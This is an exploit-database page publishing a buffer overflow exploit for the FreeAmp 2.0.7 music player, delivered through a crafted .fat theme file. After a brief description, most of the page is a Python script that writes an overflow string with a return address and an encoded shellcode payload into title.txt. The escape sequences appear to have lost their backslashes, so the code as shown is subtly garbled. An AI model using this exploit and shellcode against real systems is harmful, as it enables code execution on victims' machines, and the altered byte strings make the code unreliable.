[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : FreeAmp 2.0.7 .fat Buffer Overflow Exploit
# Published : 2011-06-23
# Author :
# Previous Title : Subtitle Processor 7.7.1 SEH Unicode Buffer Overflow Exploit
# Next Title : Sonique 1.96 .m3u Buffer Overflow
# Exploit Title: FreeAmp 2.0.7 .fat Buffer Overflow
# Date: 22/06/2011
# Author: Iván García Ferreira
# Version: 2.0.7
# Tested on: Windows XP SP3
#
# Description:
# The freeamp music player has a tool to create your own theme. If you go to
# "tools" directory in the Freeamp's directory you can see the "MakeTheme.exe"
# tool.
# With this command:
# c:FreeampTools> MakeTheme -d ..themesFreeamp.fat
# you uncompress the freeamp's theme. Then, you can see and a lot of files that
# the tool needs to make the theme. If you write a very long string in the
# "title.txt" file and you generate a new theme with:
# c:FreeampTools> MakeTheme exploit.fat theme.xml title.txt *.bmp
# When the user try to test the new theme called "exploit", it will generate a
# buffer overflow vulnerability.
fichero = open("title.txt","w")
fichero.write("A"*268)
fichero.write("xF9xCDx20x12")
fichero.write("C"*16)
fichero.write("xdbxc0x31xc9xbfx7cx16x70xccxd9x74x24xf4xb1" +
"x1ex58x31x78x18x83xe8xfcx03x78x68xf4x85x30" +
"x78xbcx65xc9x78xb6x23xf5xf3xb4xaex7dx02xaa" +
"x3ax32x1cxbfx62xedx1dx54xd5x66x29x21xe7x96" +
"x60xf5x71xcax06x35xf5x14xc7x7cxfbx1bx05x6b" +
"xf0x27xddx48xfdx22x38x1bxa2xe8xc3xf7x3bx7a" +
"xcfx4cx4fx23xd3x53xa4x57xf7xd8x3bx83x8ex83" +
"x1fx57x53x64x51xa1x33xcdxf5xc6xf5xc1x7ex98" +
"xf5xaaxf1x05xa8x26x99x3dx3bxc0xd9xfex51x61" +
"xb6x0ex2fx85x19x87xb7x78x2fx59x90x7bxd7x05" +
"x7fxe8x7bxca")
fichero.close()